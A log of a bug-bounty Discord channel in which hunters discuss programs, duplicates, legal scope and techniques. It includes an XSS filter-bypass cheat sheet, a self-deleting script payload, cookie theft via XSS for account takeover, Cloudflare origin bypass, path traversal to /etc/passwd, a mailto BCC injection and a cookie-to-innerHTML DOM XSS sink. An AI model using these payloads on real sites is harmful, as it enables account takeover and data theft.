#bug-bounty

1 messages · Page 12 of 1

prime river
#

Thanks for sharing.

uneven galeBOT
#

Gave +1 Rep to @tough garnet

civic umbra
#

Here's the summary ( Twitter thread ) of day 14 of my #100DaysOfHacking challenge

https://twitter.com/NjmUlSqb/status/1482041741670858753?s=20

Najam Ul Saqib (@NjmUlSqb)

Day 14 of #100DaysOfHacking

I touched a class of vulnerability today that I had absolutely no idea of i.e Broken OAuth

Read how OAuth 2.0 works and did a lab as well, I plan to complete the OAuth 2.0 section on @WebSecAcademy and then replicate and use the learnt skills ...

Twitter ·
stray tapir
#

Does it take longer to respond when the severity of a bug is higher?

#

I've been waiting more than 3 workdays on a response

#

of 1-click account takeovers

native token
#

Depends on the program. You tend to find the higher severity tends to get a faster response

#

Also depends on whether the program is managed by the client or by the platform

mighty wigeon
#

What are your thoughts on using Nessus during a bug hunting session? I mean what if i could just deploy nessus on a VPS, allow it to scan target subdomains provided as a file, wait for one-two days for vulnerability assessment to complete and then exploit it? Is that a feasible idea? Or i am just thinking it all wrong?

native token
#

There’s nothing stopping you from doing it, but for the most part it won’t find anything

mighty wigeon
austere geyser
#

@mighty wigeon most companies prior to pushing their web app to production, do required scans in a different environment and have test cases that the code must pass prior to it being pushed. Most bug bounty programs will want you to manually test the site because they assume that the security researcher will be more in-depth about edge cases and things that could break the web app than an automated scan

civic umbra
#

Here's the summary ( Twitter thread ) of day 15 of my #100DaysOfHacking challenge

https://twitter.com/NjmUlSqb/status/1482406196996943872?s=20

Najam Ul Saqib (@NjmUlSqb)

Day 15 of #100DaysOfHacking

Solved lab on implicit grant type in OAuth 2.0 on @WebSecAcademy, observed links generated by "Sign in with Google"/"Sign in with Microsoft 365" on target app.

OAuth 2.0 process is complex and lots of labs are available on it. I am working on ...

Twitter ·
mighty wigeon
uneven galeBOT
#

Gave +1 Rep to @austere geyser

native token
# mighty wigeon Have you tried it? Mind explaining? :)

Chances are you’ll never find a bug, hundreds of people rely on tools like Nessus thinking it’ll be easy money. Shocker it’s not. The manual approach is the only real way of making money through bounties or automating stuff yourself

mighty wigeon
uneven galeBOT
#

Gave +1 Rep to @native token

glass ivy
#

Hey any one here to become my partner to learn bug bounty together DM if intrested

misty sun
#

Yes...@huehue

minor echo
#

@glass ivy what skills you need for a partner??? i am kind of a beginner

#

if that works for you

native mulch
#

Same here we could work as three

#

I've done pentesting entire bit never bug bounties

#

What should I know about bug bounties and what is there to study before I do it? Is it different then Pentesting, like if I know some pentesting skills then I do bug bounty, and what is a good site to start on bug bounty? Also will bug bounties help me learn future skills?

knotty schooner
#

@glass ivy i am interested on bugbounty learning, i am complete beginner to it

stray tapir
#

I'd make an educated guess that bruteforcing every single subdomain and endpoint (especially when automated) causes service disturbance

vocal folio
# native mulch What should I know about bug bounties and what is there to study before I do it?...

Before starting bug bounty, you need the skills down.
People see dollar signs on big bounties and immediately jump to it. Don't do that.
You need to know what you're doing first, and even then you're not that likely to find anything.
Bug bounty isn't stable income like a job, but it's an OK side gig. You can spend 40hours on an app and find nothing, and as such get nothing. You could find something big but get it closed as a duplicate.

stray tapir
#

in addition to that, flexes on social media about bug bounty money never include the amount of hours invested into finding a bug

#

so don't assume people find a 2.000$ bug in an hour; they most likely spent dozens enumerating the website for attack vectors

vocal folio
#

Plus you don't hear about the small bounties. It's a massive reporting bias.

stray tapir
#

lmao new account takeover incoming

#

found a way to extract cookies using javascript while HTTPOnly was true

#

as I'm bypassing a 403 on the dev page listing the cookies and other sensitive debug data kekw

#

only issue is that the XSS requires the <>'s to be unencoded

#

but firefox auto encodes them

#

does anyone know a work around? when I don't encode it in firefox it works fine

opal meteor
stray tapir
#

yeah they both work but I want a work around for browsers

#

so it's exploitable

#

using fetch() with content-type: application/x-www-form-urlencoded and a POST method bypasses it

#

but now you need to find a way to make it execute

opal meteor
#

also I think a curl poc would be awesome to get

#

like it has all the relevant info

#

and is easier to reproduce

stray tapir
#

it needs to be exploitable from a users POV

#

so the impact is higher

#

so I can do a 1-click or even a 0-click account takeover

opal meteor
#

but try chromium based browsers

stray tapir
#

hm alright

hollow needle
worthy folio
#

not that much more, I'd hook it up to puppeteer or selenium

uneven girder
stray tapir
#

Got a response yet?

wise skiff
#

yup

#

awarded as high

#

had to escalate severity twice though

#

they didn't like the account takeover

#

you? @stray tapir

stray tapir
#

They fixed the reflected XSS that lead up to it yesterday

wise skiff
#

oh nice, so they should respond soon

stray tapir
#

Last time they fixed it the next morning and replied 10 days later

#

Yeah

wise skiff
#

oh

#

right

#

you can always send a follow up message verifying it's fixed

stray tapir
#

I HATE MYSELF LMFAOOO

#

TL;DR: told the account takeover guys to enable WAF

#

but now all my stacked bugs are rendered useless

unknown.png
#

shot myself in my foot big time kekw

#

could've squeezed another two unique account takeovers out of those

rigid iron
civic umbra
#

Here's the summary ( Twitter thread ) of day 20 of my #100DaysOfHacking challenge

https://twitter.com/NjmUlSqb/status/1484203142690529280?s=20

Najam Ul Saqib (@NjmUlSqb)

Day 20 of #100DaysOfHacking

First, let me tell you about that OTP case from yesterday, I noticed that it sent the same OTP on same email address, as I deleted account on that address and registered on it again so it sent the same OTP as old one, though its still a ...

Twitter ·
peak wharf
#

@stray tapir is the WAF smth like Cloudflare?
You can find origin - either 1) look at old IP fo that domain, or 2) sometimes there are subdomains which leads to the same website, but without CF
For 1) you can still request the files (you set ip & host header to the tools), for 2) you can even reproduce the XSS as user, etc.

stray tapir
#

Yeah it's CF WAF

#

I know the pub and priv IP because of the dev page leak

#

let's see hmmGe

#

wth

#

they deactivated the WAF

stray tapir
#

wrote a report

#

sent it

#

everything has a POC with proof of it working

#

in before they reactivate waf

burnt cedar
#

Is there any way to bypass imperva?

#

I reported 5 vulnerabilities all insufficient session expiration . all of them considered duplicate.It sucks

swift grotto
#

First off, congrats! You found something! Remember a duplicate means you found a vuln, but someone beat you to it. You’re on the right track! This is all part of being a hunter.

With that said, go DEEPER. You come across more dupes when you focus on the easy and common stuff. Things like session expiration don’t always hold a lot of business impact. It’s easy to detect. It’s easy to report. Hence all the duping.

How could you leverage this in your kill chain to do more impactful damage? Is there any app logic bugs that are exasperated because of the way they handle season management? If they already have this sort of vuln what else might they not be handling? There is a good signal to look harder.

As for WAF bypass, check out https://github.com/0xInfection/Awesome-WAF as a starting point. Lots more you can Google on the topic, including specific payloads that could help. HTH.

Good luck! 🎉

GitHub
GitHub - 0xInfection/Awesome-WAF: 🔥 Everything about web-applicatio...

🔥 Everything about web-application firewalls (WAF). - GitHub - 0xInfection/Awesome-WAF: 🔥 Everything about web-application firewalls (WAF).

spring yew
#

Hello

stray tapir
#

How can I bypass <?php echo "lol"; ?> changing into <!--?php echo "lol"; ?-->?

#

should be noted that I have XSS and HTML injection on this page

#

but it's encoded as JSON hence I can't use "

#

because it gets changed to \"

#

looks like it only does it when it detects <?

#

<.?php echo "hi"; ?> doesn't get changed

lavish hollow
#

Blacklist Bypasses
If some kind of blacklist is being used you could try to bypass it with some silly tricks:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
stray tapir
#

hm

#

<?<?php echo 1 ?> changes into <!--?<?php echo 1 ?-->

#

should I be expecting PHP execution at this point?

lavish hollow
#

I was thinking <--><?php echo 1;><!--> but wasn't sure tbh

stray tapir
#

that changes into ```html
"...": "<-->
<!--?php echo 1;-->
<!--"}-->

#

hm

#

how does that even work

#

or is this a firefox thing

#

okay that's a firefox thing

#

bruh?

#

ig that this isn't vulnerable

burnt cedar
#

@swift grotto Thank you:)

uneven galeBOT
#

Gave +1 Rep to @swift grotto

old umbra
#

i hpe it's useful for new entry

stray tapir
#

Is it possible to get stored XSS when you can't add anything to the page aside from params?

swift grotto
burnt cedar
#

can Anyone help me please,I need IDOR scenarios?

burnt cedar
astral barn
#

hey guys i have a question. what is the vulnerability type of "wp-content/debug.log"

#

can anyone help with this!!!

unknown.png
stray tapir
#

account_id = 431 to account_id = 432 etc

#

perhaps even authentication bypass using cookies

astral barn
#

Thank you 🤩

burnt cedar
#

thank you

#

quick question: Google single sign on not allowing me intercept,how can bypass it on chromium?

stray tapir
#

man

#

I found the new OWASP Juiceshop

#

It's called OWASP juiceshop prod edition™️

#

found a way to get unlimited stored XSS's on a website

#

unfiltered and everything

#

and available on every webpage

#

I truly, truly, truly wish the developers are going to get their pay checks decreased by these bounty payouts

#

because what they wrote is coming straight out of PHP hell

#

oh, and it's causing a client side DOS

hybrid orchid
#

Pretty sure you're not supposed to be disclosing this publicly smh

#

Especially with the GIF that you posted before chceyes

stray tapir
#

wait y'all got logs in the staff channels?

hybrid orchid
#

What do you think smh

spice lily
#

:pepemonkas:

vocal folio
young leaf
#

🐦

fallen palm
#

What have you guys got on me 😄

#

If anything?

rancid escarp
#

Heyo all

mild fractal
#

Hello everyone, I have a question in my mind and I would be very happy if you can help. When I join a program on Hackerone, I download the BurpSuite config file of that program and add it to my project. When I visit a website within the scope of the program, the web address gives a 302 response and directs me to another address. I can't see any data in my HTTP history because the address I was directed to is not in the destination addresses in the BurpSuite config file. Do I need to add this forwarded address to the destination addresses in BurpSuite? For example: The domain address in Periscope is "https://google.com/" and I added this address to my BurpSuite target filter. But when I visit this address I am redirected to "https://www.google.com/" and my BurpSuite historical data is empty

loud marten
uneven galeBOT
#

Gave +1 Rep to @old umbra

burnt cedar
#

Hi everyone,quick question: If you are able to disable your account 2 factor authentication or adding transactions or deleting them through burp repeater ,is this considered a vulnerability?I dont mean another account .I mean your account.

#

thank your in advance

peak wharf
stray tapir
#

issue is, I lost the payload I used in that image

#

I'd love to use an anime kms emote here but afaik I'll get muted :'(

#

Made a pretty funny XSS payload while testing it

'"><script>var+s=document.getElementsByTagName('script');var+e=s[s.length-1];console.log('Invisible+XSS+:poof:');e.parentNode.removeChild(e)</script><?
#

basically prints 'Invisible XSS :poof:' to the console and delete's the payload

#

en disguises the inline garbage from html using <?

burnt cedar
heavy sleet
#

Does anyone know how to get an email from instagram , I tried Osintgram but didnt find any thing useful

peak wharf
burnt cedar
#

yes

peak wharf
#

Then you know it's User Interface, so in this case a rendered website.

stray tapir
#

Is it me or is bug bounty a bad name for bug bounties?

#

By saying bug you're saying they're paying for regular bugs like unintended behaviour in software

#

while it's more commonly security vulns

brisk stream
#

So I was digging into some spam emails and I think I found a way that the senders were able to bypass Gmail's spam filtering. Is this something that their Bug Hunters program would be interested in? There's a section on "abuse-related methodologies" but that seems to be focused on review manipulation. Does bypassing filters count as abuse?

opal meteor
brisk stream
#

Fair enough. It involved sending data in the body that was parsed by the filter but isn't being rendered by the client. Replicating should be doable but I haven't started on that yet

mild fractal
#

Hello, "x[dot]com", which is given a single domain as a scope in a program, redirects me to "aaa[dot]x[dot]com" when I go to this address. Can I add this forwarded address to BurpSuite target addresses? Because otherwise there is no data on BurpSuite. How should I do something?

keen mason
#

directory traversal on web application, I am able to retrieve the /etc/passwd file, but not the /etc/shadow file from the webserver syntax I am using: =../../../etc/shadow any ideas why this might be happening?

dusty pasture
#

The user running the web server (e.g. apache, www-data) doesn't have access to it

keen mason
uneven galeBOT
#

Gave +1 Rep to @dusty pasture

dusty pasture
#

Try different file extensions supported by the web server (check response headers and error responses to know what server it is)
Like .php, .phtml, .inc

#

How do you have directory traversal and file inclusion?
Try source code disclosure for the .php file that you performed the upload on to figure out any bugs

keen mason
uneven galeBOT
#

Gave +1 Rep to @dusty pasture

peak wharf
#

If there would be some platform where you can learn privilege escalation... 🤔

#

And bypassing file upload restriction...

mighty wigeon
#

Use tryhackme and Portswigger academy @peak wharf There's also a course by Tib3rius for learning privilege escalation. There's github repos containing scripts which are used to setup an environment for you to learn different privilege escalation techniques

peak wharf
#

What's tryhackme?

mighty wigeon
peak wharf
#

It's more a sarcasm than trolling.

mighty wigeon
#

Understood sir. :)

jagged tusk
#

Hi. I’m getting started in bug bounties and I am currently doing the NahamStore exercise and I am stuck on Task 2. Can anyone help me please

magic vigil
#

Welp now that im sick lets see how many "sorry but this is a duplicate vulnerability" messages I can get within the next 5 days

runic bough
#

Hey everyone I have a question in my mind and it's really helpful if the pro bugbounty hunters answer it. I started and currently it's the second year as a Cybersecurity student and practisioner. I came to know about bug bounty about the long ago but never thought to actually do it myself. But last I got a keen interest in them I actually started learning from books, medium etc. But TBH I can focus in everything like I have to do thm, htb , portswigger , hacker 101 etch every single day. If any of the pro's find out the flaw and how it can be fixed . I think I should only do thm until I complete real-world bug hunting like if I do these two per day I think I would focus more on both.

turbid grove
#

I've never done a bug bounty but i've started looking at them. Question. Does this mean any vulns found on exploit-db,metasploit,published CVE's, etc are out of scope?

unknown.png
native token
#

No that means if you can exploit it, you will be required to attach a proof of concept

#

That's basically saying, don't waste their time saying "You're running an outdated software package that's vulnerable to x" without having proof that it's vulnerable in the form of a working poc

jagged tusk
#

I am just getting started in bug bounties and I’m wanting to find a mentor to help me gain more knowledge with bounties and provide some structure to learning about vulnerabilities and such. Is there anyone who would be willing to mentor me?

celest vigil
jagged tusk
uneven galeBOT
#

Gave +1 Rep to @celest vigil

native ocean
#

No way

solar perch
#

Hello everybody!!! I am a newbie in this field. Earlier I was in medical stream but had interest in coding and hacking stuffs, so I finally decided to switch careers. I have completed 12th and have a basic level of knowledge about computers like not that much technical but a pro level in normal user community 😅 . I have seen some of the youtube videos and from that I know what things I should learn but I didn't know where to start. Is there anybody who can personally suggest me what I should and where should I start and help me whenever I get stuck in something like a mentor??? I have heard from every youtuber that this cyber community is very helpful and people always always help each other to whatever extent they can and you can easily find a mentor. So looking forward for help😇 Also I am not that type of guy who keeps you spamming all the day. I will just ask my doubts whenever I face any problem. So if somebody is there who can be my mentor, I will be delighted.😇

mighty wigeon
#

Everyone is a mentor and a helper over here. Everyone can reply according to their own convenience

#

You just need to start learning and hacking!! Plenty of resources available but if you get overwhelmed, just ask anyone in this or #resources channel @solar perch

stray tapir
#

Just got 100 euro's (~110 usd or so) for 7x reflected XSS and 2x reflected self stored sidewide XSS which all lead to 1-click account takeovers, off program

#

got the same for two reflected XSS bugs at the same company earlier without acc takeovers, so I'm kind of feeling scammed but aye I'm happy with it

#

probably atleast 15 hours sank into it so I'm pretty happy

pliant mountain
sudden flax
stray tapir
#

Find PHP sites without a CMS

old umbra
stray tapir
#

Well like I said, it was off program and took a bit of a risk

#

I'm happy I'm not getting sued lmao

old umbra
#

😛

hybrid orchid
stray tapir
#

I asked it before hand

#

Noticed the site was spewing out user content and not filtering <>'s

hybrid orchid
#

And got a full, legal scoping document drawn up, I assume?

#

There's a reason pentesters don't do odd jobs -- it's the legal equivalent of balancing on one foot at the edge of a cliff with a black forest gateau in a hemispherical bowl on your head.

Be very glad you weren't sued, or charged by your local authorities for breach of whatever hacking laws you have locally. Verbal consent is not good enough for things like this, which is why pentests have strict documentation for it. An out-of-programme bounty hunter is in exactly the same boat.

#

Don't be a cowboy -- it gives everyone else a bad name

stray tapir
#

Ahh alright

#

Didn't think it would be interpreted like that because I'm just sending in a report without asking anything for it

#

Just thought of it as free security advice on a website and no other systems

hybrid orchid
#

"Free security advice" is a nice sentiment, but you're totally at the mercy of the owners of the website. If they decide to call the police, you have no legal protection. You can, and usually will, be criminally prosecuted for it.

#

It's the equivalent of breaking into someone's house then, when the police show up, claiming that you were only doing it to show them that their security is bad (then asking to be paid for doing it)

stray tapir
#

Hm I hadn't thought of it like that, yet

#

So I just should just stick to RD / official bug bounty programmes?

vocal cosmos
#

i once did this too

#

made a file about all vulns

#

was thinking about emailing them with POC but....

stray tapir
#

Isn't it worse when you don't report those vulns?

#

or do just you hope they don't identify you

vocal cosmos
#

only if you publizie it and do malisious scanning burp modifications etc

#

or use known exploits

#

i think muiri knows better

hybrid orchid
# stray tapir So I just should just stick to RD / official bug bounty programmes?

Anything that has an official, scoped, bug bounty programme is fine (as long as you stay inside the scope). The fact that they have defined the scope and given a blanket permission gives you some legal protection, although even then it isn't unheard of to still be sued for it (which is why the big bounty hunting sites exist -- to act as a buffer and protect bounty hunters)

hybrid orchid
#

I suspect if you stumbled across something legitimately then you would be fine though. For example, searching a user database for someone called O'Hara and getting a MySQL error back (e.g. SQLi) is a totally legitimate use for the application and just allowed you to stumble across the flaw. Bit difficult to sue for that if you weren't acting maliciously or otherwise hunting for bugs.

vocal folio
#

Going outside of scope is illegal.

#

Bug Bounty is legal when you stay in scope, because you have permission from the site etc

mighty wigeon
#

It's mentioned below the programs on the bug hunting platform you choose the program from

uneven galeBOT
#

Gave +1 Rep to @mighty wigeon

swift grotto
#

Sorry @hybrid orchid that was for @stray tapir . I know you know this stuff.

lone hedge
mighty wigeon
#

Has someone attempted to automate shodan recon like we can automate Github recon using gitgraber and slackcat? I am just interested to know if shodan recon automation is a possibility..

vocal folio
old umbra
#

If it’s done, I’ll do a good writeup

IMG_2108.png
nova salmon
#

anyone have the link for a really good cve list platform?

native token
#

Mitre exists? think

astral prairie
#

An url parameter payload gives cloudflare 520 unknown error code. Any clue???

fallen palm
#

is the report from BurpSuite enough to make a report? asking for a friend

#

most of the infosec blogs counts automated bug scanners as bug bounty tools, my question is that do automated scanners really help in finding bugs on web?

#

i mean tools like zap wapiti burp suite scanner ...

native token
native token
fallen palm
uneven galeBOT
#

Gave +1 Rep to @native token

fallen palm
uneven galeBOT
#

Gave +1 Rep to @native token

native token
#

Don't be surprised if you end up having to re-write your entire report. Being lazy doesn't exactly get you anywhere

fallen palm
#

Or get a fail for plagiarism.

#

Happened to someone in my class 😂

turbid meteor
old umbra
opal meteor
#

Im not sure if this is the right place to ask, but still, I found a bug that I'm 99% sure has no security issues (instagram), where should I report it?

quasi pivot
tender hazel
#

skorta

#

l

native token
#

Smart people would find an existing member to refer them to bypass it 😂😂

quasi pivot
thorn parcel
next abyss
#

Hi guys I have question

#

Regarding a bug 🐞

#

I new to the bug bounty so i am confused wether to report it or not

old umbra
#

Which

next abyss
#

403 bypass

#

When i send GET request in response I am getting 403 response code

#

But When i change GET method to OPTIONS method it is showing 200 response code

#

But when I am opening response in browser it just showing black page.

native token
#

OPTIONS will just return the possible request types, similar to how HEAD requests can be used to bypass 403

#

Unless you can exfil any sort of data from it, chances are it won't be accepted

old umbra
scarlet venture
thorn parcel
scarlet venture
#

Joined THM to study a few things

scarlet venture
old umbra
#

It always depends on the content it finds inside

#

anyway, i sent my request to synack and they said that i'm eligible but i'm currently in waiting list.. This one month ago, i need to wait so much ?@native token (sorry for ping)

native token
#

Chances are a 200 with a blank page isn't gunna pay out, that's a low at best, informational on all else

late viper
#

What are the good tools for web scanning other than Burp, ZAP, Nikto, Nessus, and hakrwaler.

old umbra
#

netsparker

#

more worth command line 😛

native token
#

If you're doing bug bounty, there isn't a good web scanner

old umbra
#

There was a guy, that found so much xss with this scanner

peak wharf
#

I had good scanner, but he asked for a salary rise, and I let him go. 😦

#

Anyway, I had an idea just recently. What if you are a programmer, you know about CSRF. So you check to which IP the domain resolve, you either block it, or allow. And if it's ok, you send it further to the application, where it gets resolved again,but this time with different IP.
And that was kids how I re-invented DNS rebinding 😮
Question: What will I invent next week?

#

Another bypass would be of course redirect to internal ip range / domain pointing to internal range. Or even simple <meta> / JS redirect in case of rendered HTML page, but then you would probably have other interesting stuff to do.

fallen palm
hasty karma
nova salmon
#

if we pentest in company unpatched bug bounty, and we find a bug, do we still get paid?

peak wharf
#

In pentest you are paid for the pentest process itself, not found bugs.

analog glen
#

There might be a pentest contract addition for actual findings, but that isn't a concern of the pentester; that's more of a contract negotiation thing.

peak wharf
#

@analog glen as an extra rewards, or getting paid only if something is found?

analog glen
fluid hare
#

hello

#

guys

#

me and my friend need some people for the CTF teams

#

so anyone in?

#

please DM

vocal folio
civic umbra
#

Hi everyone! Is there chance of any type of injection XSS, command, etc if I can dynamically place some strings between mailto:'' ?
Actually mailto:'{handle}' is being dynamically loaded so can I place some malicious string in handle
I tried mailto:'n@n.com;alert(1)' but the whole string ends up in the TO section of default mail handler

valid tapir
#

Do you have to be a fully skilled computer programmer or at have some skill at computer programming to be a bug hunter?

old umbra
#

epic.. xD

old umbra
#

There are various techniques to do this, automation for example .. Many people manage to find many bugs only thanks to automation .. Without going to find manually. It depends. The more general concept, however, is to know as many web level attacks as possible, auth, various bypasses, etc

#

Study the application well. Understanding the mechanisms of the application in front of you, how it is structured, the times it has to do certain things.

#

Know at least very well the most frequent attacks, xss, csrf, sqli.

#

I think one of the best courses is OSWA, I'm studying it right now.

vocal folio
#

@old umbra please don't post black or greyhat hacking. You might think it's morally justified to hack scammers but it is still illegal and therefore not tolerated here.

old umbra
peak wharf
peak wharf
peak wharf
#

Also, if it's done in some frontend rendering e.g. React/Angular and so, it might be not executed.
Very generic question without example 🙂
It's probably better if you invite someone to collab with you.

civic umbra
civic umbra
peak wharf
#

I don't know, did you try it?

peak wharf
civic umbra
civic umbra
# peak wharf BCC?

Actually, if you add something like mailto:'victim@victim.com?bcc=evil@evil.com' blind carbon copy will be sent to bcc address

civic umbra
peak wharf
uneven galeBOT
#

Gave +1 Rep to @civic umbra

peak wharf
old umbra
#

if they never implement it?

vocal folio
# old umbra bcc is a vuln?

Think about the CIA triad.
If you can get a copy of each email sent without the recipient knowing, that's a confidentiality issue.

old umbra
#

I thought it too, but I also thought it was possible for some company to use it.

vocal folio
old umbra
valid tapir
vocal folio
civic umbra
#

Is there any specific name for convention of writing JS like javascript:alert(1) with colon?

#

I am trying to study this in depth to see what sort of payloads can be made with it

old umbra
#

some help for dom xss ?

unknown.png
#

thanks in advance ❤️

peak wharf
valid tapir
peak wharf
#

So, what was your question? 😄

old umbra
#

I wanna cry

peak wharf
#

Omg, chicken nugets. Envy, bro.

fallen palm
fallen palm
#

Voooodkaa

mighty wigeon
#

I got a CVE-2021-43798 on a Grafana instance on Google Cloud. But the problem is that it's belonging to a Google Cloud Customer. So i reported it to Google Cloud Compliance. Any chance it will be considered valid?

gray steeple
#

d

hollow needle
#

i

dapper saffron
peak wharf
#

ck

stray tapir
#

Do y'all do manual testing on CMS sites like Wordpress and Drupal? I've never found any exploits / bugs that weren't listed by wpscan and droopescan

#

I don't think many CMS sites would inject their own insecure PHP code

swift grotto
#

You'd be surprised. Developers are humans. Humans make mistakes.

swift grotto
# stray tapir I don't think many CMS sites would inject their own insecure PHP code

If you are getting serious of hunting bounties on popular CMS consider looking through diffs between versions and look for the newest / latest code being introduced. See what they are "fixing" or "adding", and see how it impacts other things. Look for patterns; devs are creatures of habit, and if they are fixing one vuln somewhere, the class of vuln may exist elsewhere in the codebase. I got a couple of larger bounties in one web app because devs had cut/paste code segments.... fixing it in one spot but not others. The logic bug allowed me to use that in an more complex kill chain that got me a critical because of it. Don't fret about the low hanging stuff wpscan etc can find. Look at the actual code base holistically. You'd be surprised what you find.

stray tapir
#

I was originally talking about the websites running the CMS instead of the CMS itself, but that's some solid advice, I'll check it out

native token
burnt cedar
#

I feel bugcrowd responders use double standards.I reported an issue they marked as not applicable and said how attackers would find the user’s token.
I work as an app security engineer and validate submissions from bugcrowd, and their bugcrowd responders never ask this question. They usually create a blocker.
I just wanted to know. Sometimes they act as if were are owed them.

spice lily
#

Hmmm, thats wierd

#

in those cases, it should be at least closed as informative

tender hazel
#

Bug bounty

#

Sounds like fun times ahead

wintry cedar
#

Yep

#

I love doing it

burnt cedar
spiral ether
#

Someone is going to create a blocker after they read your email

#

Or you can go for an appeal

#

let me rephrase that: Another ASE is going to look at your report and may create a blocker or validate it.

burnt cedar
#

As I said I also validate submissions internally, everyday I see how bugcrowd researcher works

native token
#

Welcome to the world of bug bounty-

If you can't demonstrate how an attacker could exploit something every step of the way. Including obtaining that users token. You aren't getting anywhere

#

Complaining about it in a discord completely unrelated to bugcrowd isn't going to help you at any point, regardless as to whether you verify submissions internally or not

civic umbra
#

**** FINALLY GOT MY FIRST REPORT RESOLVED ****
I am happy to announce that first report has been closed as resolved which is a high severity finding.
Here's the summary ( Twitter thread ) of day 46 of my #100DaysOfHacking challenge
https://twitter.com/NjmUlSqb/status/1493599291763564546?s=20&t=hRV_Oh1ggYAzxESoUgTiaA

Najam Ul Saqib (@NjmUlSqb)

Day 46 of #100DaysOfHacking

Big day for me!

On day 31, I submitted an IDOR bug to the program https://t.co/xbvOj0OksA and I was pretty sure about the bug's validity. After that day I was continuously checking for email (even at midnight) to see if the triager has responded ...

Twitter ·
old umbra
burnt cedar
burnt cedar
native token
#

Reporting without a method of acquiring a token is a roulette wheel, no different to xmlrpc submissions

burnt cedar
#

You moaning here not me .I am saying my opinion on it and I am right.

#

I found token in local storage,User token leaked in local storage.

native token
#

Your user token or another user?

burnt cedar
#

How you test Idor ?You need two account.

native token
#

Starting to think you're fire drago on an alt

burnt cedar
#

Attacker and victim (User A and B)

#

I don’t understand your urban words and at the same time it is not funny. I found Idor and added my Proof of concept ,a bugcrowd team member without checking details or creating a blocker he marked as not applicable.

silk bramble
#

@native token

native token
silk bramble
native token
#

What do you want?

#

Or are your intensions that of being annoying?

silk bramble
#

No sorry2 i just try the emoji

#

Sorry my fault... 🙏

native token
#

Yea not quite seeing the reason for a ping

fallen palm
native token
#

Nah he was just delusional

fallen palm
#

😂 I see.

civic umbra
burnt cedar
#

They marked my report as not applicable because of these token

civic umbra
#

I have been hunting for past 46 days continuously as I am having a #100DaysOfHacking challenge. I got my first bounty today for a high severity bug. It feels so good.
Follow me on this hacking journey as I share my progress daily on twitter
https://twitter.com/NjmUlSqb/status/1493599291763564546?s=20&t=hRV_Oh1ggYAzxESoUgTiaA

Najam Ul Saqib (@NjmUlSqb)

Day 46 of #100DaysOfHacking

Big day for me!

On day 31, I submitted an IDOR bug to the program https://t.co/xbvOj0OksA and I was pretty sure about the bug's validity. After that day I was continuously checking for email (even at midnight) to see if the triager has responded ...

Twitter ·
civic umbra
burnt cedar
#

mine leaked in local storage of browser

#

waiting an answer

#

on cards?

native token
#

lmao unless you can find another way of obtaining the token other than access to a users device to extract from local storage, you're really stretching

jaunty marlin
sick hedge
#

I’m in high school and thought it would be a fun side job

fallen palm
#

Eh, I don't think you can really call it a job.

lavish hollow
#

You can but it’s going to be hard to get to that point. There are “professional bug hunters” who work for large companies and get paid to find bugs, as well as for the bugs they find. It’s just not easy to get there

#

By paid I mean hourly

peak wharf
#

It would be easy if there would be less/no competition

spiral ether
#

You can focus on less focused on assets/targets

#

I have seen some pretty cool bugs on the games side

#

Doing bug bounties at high school isnt that bad? I think that is when you are around 16

#

I think you should give it a go if your focus isn't getting money / feeding your self

#

Bug bounties are risky for people that are required to make X monthly from it. But if you are a highschool student that has about 0 expenses messing with BB isn't that bad

surreal prawn
#

HI

old umbra
#

yo

plush zodiac
#

Hey, I'm wondering how bug bounties actually work. What is stopping a company from reading your report, fixing the bug, then not acknowledge your work?

fallen palm
#

I've seen some people say it does happen.

#

I think it's harder for companies to do that if you use a bug bounty platform?

vocal folio
#

Having the bug bounty platform there makes it better, the platform has a bit more weight in arguing

plush zodiac
#

Ahh I understand, thanks for the info!

peak wharf
#

When I tried BB for first time, got few "no impact" responses, but of course it got fixed :))
Which, yeah, I understand, does not necessary goes against each other.

fallen palm
#

@fallen palm

fringe sandal
#

can someone confirm what exactly below regex indicates

(REGEXP_CONTAINS(path, r'(\/(?i)siteba[a-z0-9A-Z]+\.zip|^siteba[a-z0-9A-Z]+\.zip)'))

I understand this part siteba[a-z0-9A-Z]+\.zip but don't know why is it written twice
We are looking for some missing alphabets in - siteba<missing alphabets here>.zip

zinc vale
#

I believe the first one using \/(?i) escapes / in front of "siteba" and turns on case insensitivity, while the second one is saying the beginning of the line must match "siteba..."

peak wharf
fringe sandal
uneven galeBOT
#

Gave +1 Rep to @zinc vale

fringe sandal
vocal folio
#

-ban @dull eagle -ddays 1 Immediately inappropriate and trolling.

uneven galeBOT
#

🔨 Banned Business Zeus#0999 indefinitely

marble tapir
#

Hello Everyone,
I have made a automated Recon web application where anyone can deploy it on heroku for free and it is purely designed to be hosted on heroku since heroku is a free hosting platform it's a free alternative for VPS

https://github.com/gokulapap/Reconator

opal meteor
marble tapir
uneven galeBOT
#

Gave +1 Rep to @opal meteor

marble tapir
#

Share max if you like it ✌️

opal meteor
#

I'll see how well it works and if it's as awesome as it looks I will really recommend it haha

marble tapir
#

✌️👍

opal meteor
urban sail
#

Static analysis
Data is read from document.cookie and passed to the 'innerHTML' property of a DOM element via the following statements:

var results = document.cookie.match('(^|;)\x20?' + a_cookie_name + '='+r4c+'(;|$)');

return (decodeURIComponent(results[2]));

var display_session = get_cookie("LastMRH_Session");

document.getElementById("sessionDIV").innerHTML = '<BR>The session reference number: &nbsp;' + display_session + '<BR><BR>';
#

how to exploit this dom xss

pale plover
#

Think what’s user controllable, and then think how you could get that data to the statements. And then think if there’s a way to exploit that.

marble tapir
opal meteor
uneven galeBOT
#

Gave +1 Rep to @marble tapir

fringe sandal
#

can someone provide the code for the file needed to create malicious packages in java and ruby(dependency confusion)?

random wing
fringe sandal
#

They're all on npm or pip.

burnt cedar
#

